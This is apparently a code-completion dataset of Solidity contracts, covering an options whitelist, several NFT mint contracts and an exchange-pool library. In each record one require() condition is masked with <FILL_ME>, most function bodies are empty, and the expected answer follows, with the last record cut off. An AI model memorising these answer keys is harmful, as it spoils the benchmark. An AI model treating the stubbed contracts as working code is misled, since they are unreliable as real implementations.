/// @dev mapping to mapping to track whitelisted collateral for covered calls or puts
mapping(bytes32 => bool) internal coveredWhitelistedCollateral;
/// @dev mapping to mapping to track whitelisted collateral for naked calls or puts
mapping(bytes32 => bool) internal nakedWhitelistedCollateral;
/// @dev mapping to track whitelisted oTokens
mapping(address => bool) internal whitelistedOtoken;
/// @dev mapping to track whitelisted callee addresses for the call action
mapping(address => bool) internal whitelistedCallee;
/**
* @dev constructor
* @param _addressBook AddressBook module address
*/
constructor(address _addressBook) public {
}
/// @notice emits an event a product is whitelisted by the owner address
event ProductWhitelisted(
bytes32 productHash,
address indexed underlying,
address indexed strike,
address indexed collateral,
bool isPut
);
/// @notice emits an event a product is blacklisted by the owner address
event ProductBlacklisted(
bytes32 productHash,
address indexed underlying,
address indexed strike,
address indexed collateral,
bool isPut
);
/// @notice emits an event when a collateral address is whitelisted by the owner address
event CollateralWhitelisted(address indexed collateral);
/// @notice emits an event when a collateral address for vault type 0 is whitelisted by the owner address
event CoveredCollateralWhitelisted(address indexed collateral, address underlying, bool isPut);
/// @notice emits an event when a collateral address for vault type 1 is whitelisted by the owner address
event NakedCollateralWhitelisted(address indexed collateral, address underlying, bool isPut);
/// @notice emits an event when a collateral address is blacklist by the owner address
event CollateralBlacklisted(address indexed collateral);
/// @notice emits an event when an oToken is whitelisted by the OtokenFactory module
event OtokenWhitelisted(address indexed otoken);
/// @notice emits an event when an oToken is blacklisted by the OtokenFactory module
event OtokenBlacklisted(address indexed otoken);
/// @notice emits an event when a callee address is whitelisted by the owner address
event CalleeWhitelisted(address indexed _callee);
/// @notice emits an event when a callee address is blacklisted by the owner address
event CalleeBlacklisted(address indexed _callee);
/**
* @notice check if the sender is the oTokenFactory module
*/
modifier onlyFactory() {
}
/**
* @notice check if a product is whitelisted
* @dev product is the hash of underlying asset, strike asset, collateral asset, and isPut
* @param _underlying asset that the option references
* @param _strike asset that the strike price is denominated in
* @param _collateral asset that is held as collateral against short/written options
* @param _isPut True if a put option, False if a call option
* @return boolean, True if product is whitelisted
*/
function isWhitelistedProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external view returns (bool) {
}
/**
* @notice check if a collateral asset is whitelisted
* @param _collateral asset that is held as collateral against short/written options
* @return boolean, True if the collateral is whitelisted
*/
function isWhitelistedCollateral(address _collateral) external view returns (bool) {
}
/**
* @notice check if a collateral asset is whitelisted for vault type 0
* @param _collateral asset that is held as collateral against short/written options
* @param _underlying asset that is used as the underlying asset for the written options
* @param _isPut bool for whether the collateral is to be checked for suitability on a call or put
* @return boolean, True if the collateral is whitelisted for vault type 0
*/
function isCoveredWhitelistedCollateral(
address _collateral,
address _underlying,
bool _isPut
) external view returns (bool) {
}
/**
* @notice check if a collateral asset is whitelisted for vault type 1
* @param _collateral asset that is held as collateral against short/written options
* @param _underlying asset that is used as the underlying asset for the written options
* @param _isPut bool for whether the collateral is to be checked for suitability on a call or put
* @return boolean, True if the collateral is whitelisted for vault type 1
*/
function isNakedWhitelistedCollateral(
address _collateral,
address _underlying,
bool _isPut
) external view returns (bool) {
}
/**
* @notice check if an oToken is whitelisted
* @param _otoken oToken address
* @return boolean, True if the oToken is whitelisted
*/
function isWhitelistedOtoken(address _otoken) external view returns (bool) {
}
/**
* @notice check if a callee address is whitelisted for the call action
* @param _callee callee destination address
* @return boolean, True if the address is whitelisted
*/
function isWhitelistedCallee(address _callee) external view returns (bool) {
}
/**
* @notice allows the owner to whitelist a product
* @dev product is the hash of underlying asset, strike asset, collateral asset, and isPut
* can only be called from the owner address
* @param _underlying asset that the option references
* @param _strike asset that the strike price is denominated in
* @param _collateral asset that is held as collateral against short/written options
* @param _isPut True if a put option, False if a call option
*/
function whitelistProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external onlyOwner {
require(<FILL_ME>)
bytes32 productHash = keccak256(abi.encode(_underlying, _strike, _collateral, _isPut));
whitelistedProduct[productHash] = true;
emit ProductWhitelisted(productHash, _underlying, _strike, _collateral, _isPut);
}
/**
* @notice allow the owner to blacklist a product
* @dev product is the hash of underlying asset, strike asset, collateral asset, and isPut
* can only be called from the owner address
* @param _underlying asset that the option references
* @param _strike asset that the strike price is denominated in
* @param _collateral asset that is held as collateral against short/written options
* @param _isPut True if a put option, False if a call option
*/
function blacklistProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external onlyOwner {
}
/**
* @notice allows the owner to whitelist a collateral address
* @dev can only be called from the owner address. This function is used to whitelist any asset other than Otoken as collateral. WhitelistOtoken() is used to whitelist Otoken contracts.
* @param _collateral collateral asset address
*/
function whitelistCollateral(address _collateral) external onlyOwner {
}
/**
* @notice allows the owner to whitelist a collateral address for vault type 0
* @dev can only be called from the owner address. This function is used to whitelist any asset other than Otoken as collateral.
* @param _collateral collateral asset address
* @param _underlying underlying asset address
* @param _isPut bool for whether the collateral is suitable for puts or calls
*/
function whitelistCoveredCollateral(
address _collateral,
address _underlying,
bool _isPut
) external onlyOwner {
}
/**
* @notice allows the owner to whitelist a collateral address for vault type 1
* @dev can only be called from the owner address. This function is used to whitelist any asset other than Otoken as collateral.
* @param _collateral collateral asset address
* @param _underlying underlying asset address
* @param _isPut bool for whether the collateral is suitable for puts or calls
*/
function whitelistNakedCollateral(
address _collateral,
address _underlying,
bool _isPut
) external onlyOwner {
}
/**
* @notice allows the owner to blacklist a collateral address
* @dev can only be called from the owner address
* @param _collateral collateral asset address
*/
function blacklistCollateral(address _collateral) external onlyOwner {
}
/**
* @notice allows the OtokenFactory module to whitelist a new option
* @dev can only be called from the OtokenFactory address
* @param _otokenAddress oToken
*/
function whitelistOtoken(address _otokenAddress) external onlyFactory {
}
/**
* @notice allows the owner to blacklist an option
* @dev can only be called from the owner address
* @param _otokenAddress oToken
*/
function blacklistOtoken(address _otokenAddress) external onlyOwner {
}
/**
* @notice allows the owner to whitelist a destination address for the call action
* @dev can only be called from the owner address
* @param _callee callee address
*/
function whitelistCallee(address _callee) external onlyOwner {
}
/**
* @notice allows the owner to blacklist a destination address for the call action
* @dev can only be called from the owner address
* @param _callee callee address
*/
function blacklistCallee(address _callee) external onlyOwner {
}
}
| whitelistedCollateral[_collateral],"Whitelist: Collateral is not whitelisted" | 85,340 | whitelistedCollateral[_collateral] |
"not enough tokens left" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Author: @sssobeit
contract Endlesstate is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable {
using Counters for Counters.Counter;
Counters.Counter private _tokenId;
string private baseURI;
uint PRICE = 0 ether;
// MAX_AMOUNT
uint maxSupply;
uint maxBatchSize;
constructor(uint _price) ERC721("Endlesstate", "E-State") {
}
function mint(uint _count, address _to) public payable {
require(!paused(), "PAUSED ");
require(_count > 0, "mint at least one token");
require(<FILL_ME>)
require(_count <= maxBatchSize, "MAX BATCH SIZE");
require(msg.value >= _count * PRICE || msg.sender == owner(), "MAX BATCH SIZE");
for (uint i = 0; i < _count; i++){
uint256 tokenId = _tokenId.current();
_tokenId.increment();
_safeMint(_to, tokenId);
}
}
function mintMoreAddress(address[] calldata users) public payable onlyOwner {
}
// view total supply
function getTotalSupply() view public returns(uint) {
}
// URI
function setBaseUri(string memory _uri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
// UTILS
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _tokenId.current()+_count<=maxSupply,"not enough tokens left" | 85,344 | _tokenId.current()+_count<=maxSupply |
"not enough tokens left" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Author: @sssobeit
contract Endlesstate is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable {
using Counters for Counters.Counter;
Counters.Counter private _tokenId;
string private baseURI;
uint PRICE = 0 ether;
// MAX_AMOUNT
uint maxSupply;
uint maxBatchSize;
constructor(uint _price) ERC721("Endlesstate", "E-State") {
}
function mint(uint _count, address _to) public payable {
}
function mintMoreAddress(address[] calldata users) public payable onlyOwner {
require(<FILL_ME>)
for (uint i = 0; i < users.length; i++){
uint256 tokenId = _tokenId.current();
_tokenId.increment();
_safeMint(users[i], tokenId);
}
}
// view total supply
function getTotalSupply() view public returns(uint) {
}
// URI
function setBaseUri(string memory _uri) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
// UTILS
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _tokenId.current()+users.length<=maxSupply,"not enough tokens left" | 85,344 | _tokenId.current()+users.length<=maxSupply |
"Moonwalker already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Creatures is
ERC721,
ERC721Enumerable,
ERC721Burnable,
Ownable,
DefaultOperatorFilterer
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
mapping(uint256 => bool) claimedMoonwalker; // records if moonwalkers have been claimed
address public tosContract;
string public baseURI;
uint256 public MAX_SUPPLY = 8888;
bool public isMintActive;
constructor() ERC721("Creatures", "CRT") {}
// ==== MINT FUNCTIONS ====
function _mintInternal() internal {
}
function teamMint(uint256 _quantity)
public
onlyOwner
withinQuantity(_quantity)
{
}
function publicMint(uint256[] calldata _tokenIds)
external
withinQuantity(_tokenIds.length)
mintActive
{
for (uint8 i = 0; i < _tokenIds.length; i++) {
require(<FILL_ME>)
require(
TOSContract(tosContract).ownerOf(_tokenIds[i]) == msg.sender,
"You do not own the moon walker"
);
_mintInternal();
claimedMoonwalker[_tokenIds[i]] = true;
}
}
// ==== BURN ====
function batchBurn(uint256[] calldata _tokenIds) external {
}
// ==== SETTERS ====
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setIsMintActive(bool _isActive) external onlyOwner {
}
function setTosContract(address _address) external onlyOwner {
}
function setMaxSupply(uint256 _supply) external onlyOwner {
}
// ==== GETTERS ====
function getHasMinted(uint256[] calldata _tokens)
external
view
returns (bool[] memory)
{
}
// ==== MODIFIER ====
modifier withinQuantity(uint256 _qty) {
}
modifier mintActive() {
}
// ==== OVERRIDES ====
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function tokenURI(uint256 _id)
public
view
virtual
override
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function setApprovalForAll(address operator, bool approved)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
}
interface TOSContract {
function ownerOf(uint256) external view returns (address);
}
| !claimedMoonwalker[_tokenIds[i]],"Moonwalker already claimed" | 85,407 | !claimedMoonwalker[_tokenIds[i]] |
"You do not own the moon walker" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Creatures is
ERC721,
ERC721Enumerable,
ERC721Burnable,
Ownable,
DefaultOperatorFilterer
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
mapping(uint256 => bool) claimedMoonwalker; // records if moonwalkers have been claimed
address public tosContract;
string public baseURI;
uint256 public MAX_SUPPLY = 8888;
bool public isMintActive;
constructor() ERC721("Creatures", "CRT") {}
// ==== MINT FUNCTIONS ====
function _mintInternal() internal {
}
function teamMint(uint256 _quantity)
public
onlyOwner
withinQuantity(_quantity)
{
}
function publicMint(uint256[] calldata _tokenIds)
external
withinQuantity(_tokenIds.length)
mintActive
{
for (uint8 i = 0; i < _tokenIds.length; i++) {
require(
!claimedMoonwalker[_tokenIds[i]],
"Moonwalker already claimed"
);
require(<FILL_ME>)
_mintInternal();
claimedMoonwalker[_tokenIds[i]] = true;
}
}
// ==== BURN ====
function batchBurn(uint256[] calldata _tokenIds) external {
}
// ==== SETTERS ====
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setIsMintActive(bool _isActive) external onlyOwner {
}
function setTosContract(address _address) external onlyOwner {
}
function setMaxSupply(uint256 _supply) external onlyOwner {
}
// ==== GETTERS ====
function getHasMinted(uint256[] calldata _tokens)
external
view
returns (bool[] memory)
{
}
// ==== MODIFIER ====
modifier withinQuantity(uint256 _qty) {
}
modifier mintActive() {
}
// ==== OVERRIDES ====
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function tokenURI(uint256 _id)
public
view
virtual
override
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function setApprovalForAll(address operator, bool approved)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
}
interface TOSContract {
function ownerOf(uint256) external view returns (address);
}
| TOSContract(tosContract).ownerOf(_tokenIds[i])==msg.sender,"You do not own the moon walker" | 85,407 | TOSContract(tosContract).ownerOf(_tokenIds[i])==msg.sender |
"Exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract Creatures is
ERC721,
ERC721Enumerable,
ERC721Burnable,
Ownable,
DefaultOperatorFilterer
{
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
mapping(uint256 => bool) claimedMoonwalker; // records if moonwalkers have been claimed
address public tosContract;
string public baseURI;
uint256 public MAX_SUPPLY = 8888;
bool public isMintActive;
constructor() ERC721("Creatures", "CRT") {}
// ==== MINT FUNCTIONS ====
function _mintInternal() internal {
}
function teamMint(uint256 _quantity)
public
onlyOwner
withinQuantity(_quantity)
{
}
function publicMint(uint256[] calldata _tokenIds)
external
withinQuantity(_tokenIds.length)
mintActive
{
}
// ==== BURN ====
function batchBurn(uint256[] calldata _tokenIds) external {
}
// ==== SETTERS ====
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setIsMintActive(bool _isActive) external onlyOwner {
}
function setTosContract(address _address) external onlyOwner {
}
function setMaxSupply(uint256 _supply) external onlyOwner {
}
// ==== GETTERS ====
function getHasMinted(uint256[] calldata _tokens)
external
view
returns (bool[] memory)
{
}
// ==== MODIFIER ====
modifier withinQuantity(uint256 _qty) {
require(<FILL_ME>)
_;
}
modifier mintActive() {
}
// ==== OVERRIDES ====
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function tokenURI(uint256 _id)
public
view
virtual
override
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function setApprovalForAll(address operator, bool approved)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
override(ERC721, IERC721)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
}
interface TOSContract {
function ownerOf(uint256) external view returns (address);
}
| totalSupply()+_qty<=MAX_SUPPLY,"Exceed max supply" | 85,407 | totalSupply()+_qty<=MAX_SUPPLY |
"Purchase would exceed max tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
import "ERC721A.sol";
import "Ownable.sol";
import "ReentrancyGuard.sol";
import "MerkleProof.sol";
contract ShapeTheStory is Ownable, ERC721A, ReentrancyGuard {
uint256 public maxSupply = 888;
uint256 public maxMintPerTx = 10;
uint256 public price = 0.008 * 10**18; //10000000000000000 = 0.01
bytes32 public whitelistMerkleRoot =
0xacca56f1bd34b041211776c2076847ca2d962f4e579c83a8df3fcfe5883a0d42;
bool public publicPaused = true;
bool public revealed = false;
string public baseURI;
string public hiddenMetadataUri =
"ipfs://QmPbDeaH11zfyvgHv4jSXk3HNQQUSEsE7pHbuUQTTrx7g6";
constructor() public ERC721A("Shape The Story", "SHAPE", 888, 888) {}
function whitelistMint(uint256 amount, bytes32[] calldata _merkleProof)
public
payable
{
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
uint256 ts = totalSupply();
require(<FILL_ME>)
require(
MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf),
"Invalid proof!"
);
{
_safeMint(msg.sender, amount);
}
}
function mint(uint256 amount) external payable {
}
function openPublicMint(bool paused) external onlyOwner {
}
function setWhitelistMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function whitelistStop(uint256 _maxSupply) external onlyOwner {
}
function setMaxPerTx(uint256 _maxMintPerTx) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function withdraw() external onlyOwner nonReentrant {
}
}
| ts+amount<=maxSupply,"Purchase would exceed max tokens" | 85,446 | ts+amount<=maxSupply |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./math/TickMath.sol";
import "./math/SwapMath.sol";
import "./math/UnsafeMath.sol";
import "./math/Math.sol";
import "./Tiers.sol";
import "./Ticks.sol";
import "./TickMaps.sol";
import "./Positions.sol";
import "./Settlement.sol";
library Pools {
using Math for uint96;
using Math for uint128;
using Tiers for Tiers.Tier;
using Ticks for Ticks.Tick;
using TickMaps for TickMaps.TickMap;
using Positions for Positions.Position;
error InvalidAmount();
error InvalidTierChoices();
error InvalidTick();
error InvalidTickRangeForLimitOrder();
error NoLiquidityForLimitOrder();
error PositionAlreadySettled();
error PositionNotSettled();
uint24 internal constant MAX_SQRT_GAMMA = 100_000;
uint96 internal constant BASE_LIQUIDITY_D8 = 100; // tier's base liquidity, scaled down 2^8. User pays it when adding a tier
int256 internal constant SWAP_AMOUNT_TOLERANCE = 100; // tolerance between desired and actual swap amounts
uint256 internal constant AMOUNT_DISTRIBUTION_BITS = 256 / MAX_TIERS; // i.e. 42 if MAX_TIERS is 6
uint256 internal constant AMOUNT_DISTRIBUTION_RESOLUTION = AMOUNT_DISTRIBUTION_BITS - 1;
/// @param unlocked Reentrancy lock
/// @param tickSpacing Tick spacing. Only ticks that are multiples of the tick spacing can be used
/// @param protocolFee Protocol fee with base 255 (e.g. protocolFee = 51 for 20% protocol fee)
/// @param tiers Array of tiers
/// @param tickMaps Bitmap for each tier to store which ticks are initializated
/// @param ticks Mapping of tick states of each tier
/// @param settlements Mapping of settlements for token{0,1} singled-sided positions
/// @param positions Mapping of position states
/// @param limitOrderTickSpacingMultipliers Tick spacing of limit order for each tier, as multiples of the pool's tick spacing
struct Pool {
bool unlocked;
uint8 tickSpacing;
uint8 protocolFee;
Tiers.Tier[] tiers;
mapping(uint256 => TickMaps.TickMap) tickMaps;
mapping(uint256 => mapping(int24 => Ticks.Tick)) ticks;
mapping(uint256 => mapping(int24 => Settlement.Info[2])) settlements;
mapping(bytes32 => Positions.Position) positions;
uint8[MAX_TIERS] limitOrderTickSpacingMultipliers;
}
function lock(Pool storage pool) internal {
require(<FILL_ME>)
pool.unlocked = false;
}
function unlock(Pool storage pool) internal {
}
function getPoolAndId(
mapping(bytes32 => Pool) storage pools,
address token0,
address token1
) internal view returns (Pool storage pool, bytes32 poolId) {
}
/*===============================================================
* INITIALIZATION
*==============================================================*/
function initialize(
Pool storage pool,
uint24 sqrtGamma,
uint128 sqrtPrice,
uint8 tickSpacing,
uint8 protocolFee
) internal returns (uint256 amount0, uint256 amount1) {
}
function addTier(Pool storage pool, uint24 sqrtGamma)
internal
returns (
uint256 amount0,
uint256 amount1,
uint8 tierId
)
{
}
function _addTier(
Pool storage pool,
uint24 sqrtGamma,
uint128 sqrtPrice
) internal returns (uint256 amount0, uint256 amount1) {
}
/*===============================================================
* SETTINGS
*==============================================================*/
function setPoolParameters(
Pool storage pool,
uint8 tickSpacing,
uint8 protocolFee
) internal {
}
function setTierParameters(
Pool storage pool,
uint8 tierId,
uint24 sqrtGamma,
uint8 limitOrderTickSpacingMultiplier
) internal {
}
/*===============================================================
* SWAP
*==============================================================*/
uint256 private constant Q64 = 0x10000000000000000;
uint256 private constant Q128 = 0x100000000000000000000000000000000;
/// @notice Emitted when limit order settlement occurs during a swap
/// @dev Normally, we emit events from hub contract instead of from this pool library, but bubbling up the event
/// data back to hub contract comsumes gas significantly, therefore we simply emit the "settle" event here.
event Settle(
bytes32 indexed poolId,
uint8 indexed tierId,
int24 indexed tickEnd,
int24 tickStart,
uint96 liquidityD8
);
struct SwapCache {
bool zeroForOne;
bool exactIn;
uint8 protocolFee;
uint256 protocolFeeAmt;
uint256 tierChoices;
TickMath.Cache tmCache;
int256[MAX_TIERS] amounts;
bytes32 poolId;
}
struct TierState {
uint128 sqrtPTick;
uint256 amountIn;
uint256 amountOut;
bool crossed;
}
/// @dev Struct returned by the "swap" function
/// @param amount0 Pool's token0 balance change
/// @param amount1 Pool's token1 balance change
/// @param amountInDistribution Percentages of input amount routed to each tier (for logging)
/// @param tierData Array of tier's liquidity and sqrt price after the swap (for logging)
/// @param protocolFeeAmt Amount of input token as protocol fee
struct SwapResult {
int256 amount0;
int256 amount1;
uint256 amountInDistribution;
uint256 amountOutDistribution;
uint256[] tierData;
uint256 protocolFeeAmt;
}
/// @notice Perform a swap in the pool
/// @param pool Pool storage pointer
/// @param isToken0 True if amtDesired refers to token0
/// @param amtDesired Desired swap amount (positive: exact input, negative: exact output)
/// @param tierChoices Bitmap to allow which tiers to swap
/// @param poolId Pool id, only used for emitting settle event. Can pass in zero to skip emitting event
/// @return result Swap result
function swap(
Pool storage pool,
bool isToken0,
int256 amtDesired,
uint256 tierChoices,
bytes32 poolId // only used for `Settle` event
) internal returns (SwapResult memory result) {
}
function _swapStep(
Pool storage pool,
bool isToken0,
SwapCache memory cache,
TierState memory state,
Tiers.Tier memory tier,
uint256 tierId
) internal returns (int256 amtAStep, int256 amtBStep) {
}
/// @dev Apply the post-swap data changes from memory to storage, also prepare data for event logging
function _updateTiers(
Pool storage pool,
TierState[MAX_TIERS] memory states,
Tiers.Tier[] memory tiers,
uint256 amtIn,
uint256 amtOut
)
internal
returns (
uint256 amtInDistribution,
uint256 amtOutDistribution,
uint256[] memory tierData
)
{
}
function _emptyInt256Array() internal pure returns (int256[MAX_TIERS] memory) {}
/*===============================================================
* UPDATE LIQUIDITY
*==============================================================*/
function _checkTickInputs(int24 tickLower, int24 tickUpper) internal pure {
}
/// @notice Update a position's liquidity
/// @param owner Address of the position owner
/// @param positionRefId Reference id of the position
/// @param tierId Tier index of the position
/// @param tickLower Lower tick boundary of the position
/// @param tickUpper Upper tick boundary of the position
/// @param liquidityDeltaD8 Amount of liquidity change, divided by 2^8
/// @param collectAllFees True to collect all remaining accrued fees of the position
function updateLiquidity(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
int96 liquidityDeltaD8,
bool collectAllFees
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 feeAmtOut0,
uint256 feeAmtOut1
)
{
}
/*===============================================================
* TICKS (UPDATE LIQUIDITY)
*==============================================================*/
function _updateTick(
Pool storage pool,
uint8 tierId,
int24 tick,
int96 liquidityDeltaD8,
bool isLower
) internal returns (bool initialized) {
}
function _deleteEmptyTick(
Pool storage pool,
uint8 tierId,
int24 tick
) internal returns (bool deleted) {
}
/*===============================================================
* POSITION (UPDATE LIQUIDITY)
*==============================================================*/
function _getFeeGrowthInside(
Pool storage pool,
uint8 tierId,
int24 tickLower,
int24 tickUpper
) internal view returns (uint80 feeGrowthInside0, uint80 feeGrowthInside1) {
}
function _updatePosition(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
int96 liquidityDeltaD8,
bool collectAllFees
) internal returns (uint256 feeAmtOut0, uint256 feeAmtOut1) {
}
/*===============================================================
* LIMIT ORDER
*==============================================================*/
/// @notice Set (or unset) position to (or from) a limit order
/// @dev It first unsets position from being a limit order (if it is), then set position to a new limit order type
function setLimitOrderType(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
uint8 limitOrderType
) internal {
}
/// @notice Collect tokens from a settled position. Reset to normal position if all tokens are collected
/// @dev We only need to update position state. No need to remove any active liquidity from tier or update upper or
/// lower tick states as these have already been done when settling these positions during a swap
function collectSettled(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper,
uint96 liquidityD8,
bool collectAllFees
)
internal
returns (
uint256 amount0,
uint256 amount1,
uint256 feeAmtOut0,
uint256 feeAmtOut1
)
{
}
/*===============================================================
* VIEW FUNCTIONS
*==============================================================*/
function getPositionFeeGrowthInside(
Pool storage pool,
address owner,
uint256 positionRefId,
uint8 tierId,
int24 tickLower,
int24 tickUpper
) internal view returns (uint80 feeGrowthInside0, uint80 feeGrowthInside1) {
}
/// @dev Convert fixed-sized array to dynamic-sized
function getLimitOrderTickSpacingMultipliers(Pool storage pool) internal view returns (uint8[] memory multipliers) {
}
}
| pool.unlocked | 85,540 | pool.unlocked |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.0;
import "./math/TickMath.sol";
import "./math/SwapMath.sol";
import "./math/UnsafeMath.sol";
import "./math/Math.sol";
import "./Tiers.sol";
import "./Ticks.sol";
import "./TickMaps.sol";
import "./Positions.sol";
import "./Settlement.sol";
library Pools {
using Math for uint96;
using Math for uint128;
using Tiers for Tiers.Tier;
using Ticks for Ticks.Tick;
